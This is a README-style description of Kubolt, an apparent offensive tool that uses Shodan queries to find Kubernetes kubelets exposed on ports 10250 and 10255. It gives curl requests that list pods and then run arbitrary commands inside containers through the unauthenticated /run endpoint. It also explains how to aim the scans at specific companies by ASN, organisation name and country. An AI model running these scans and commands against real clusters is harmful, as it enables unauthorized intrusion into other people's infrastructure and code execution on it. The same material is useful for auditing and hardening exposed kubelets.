Kubolt is simple utility for scanning public unauthinticated kubernetes clusters and run commands inside containers. Sometimes, the kubelet port 10250 is open to unauthorized access and makes it possible to run commands inside the containers using getrun function from kubelet:

// getRun handles requests to run a command inside a container.
func (s *Server) getRun(request *restful.Request, response *restful.Response) {
params := getExecRequestParams(request)
pod, ok := s.host.GetPodByName(params.podNamespace, params.podName)
if !ok {
response.WriteError(http.StatusNotFound, fmt.Errorf(“pod does not exist”))

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Okay, let’s ask our friend Shodan

The basic query is

ssl:true port:10250 404

Kubelet uses port 10250 with SSL by default, 404 is the HTTP response without URL path.

Kubolt asks Shodan by API for list of IP addresses and keeps them for other OSINT actions

Firstly, let’s ask Kubelet for running pods and filter hosts where response doesn’t contain Unauthorized and contains container so we can run command inside it.

curl -k https://IP-from-Shodan:10250/runningpods/

Anyway, if you find the host without any running pods at the time, keep it for next time when pods might be started

You can list all available pods from these requests:

curl -k https://IP-from-Shodan:10250/pods/
curl http://IP-from-Shodan:10255/pods/

Next kubolt parse response and generate a new request as below:

curl -XPOST -k https://IP-from-Shodan:10250/run/<namespace>/<PodName>/<containerName> -d “cmd=<command-to-run>”

You can target companies more accurate using Shodan filters such as:

  • asn
  • org
  • country
  • net


mkdir output
pip install -r requirements.txt


python kubolt.py –query “asn:123123 org:’ACME Corporation'”
python kubolt.py –query “org:’ACME Corporation’ country:UK”


Kubolt uses Shodan API and Query Credits accordingly, if you run the tool without query filters then you will probably fire all your credits.


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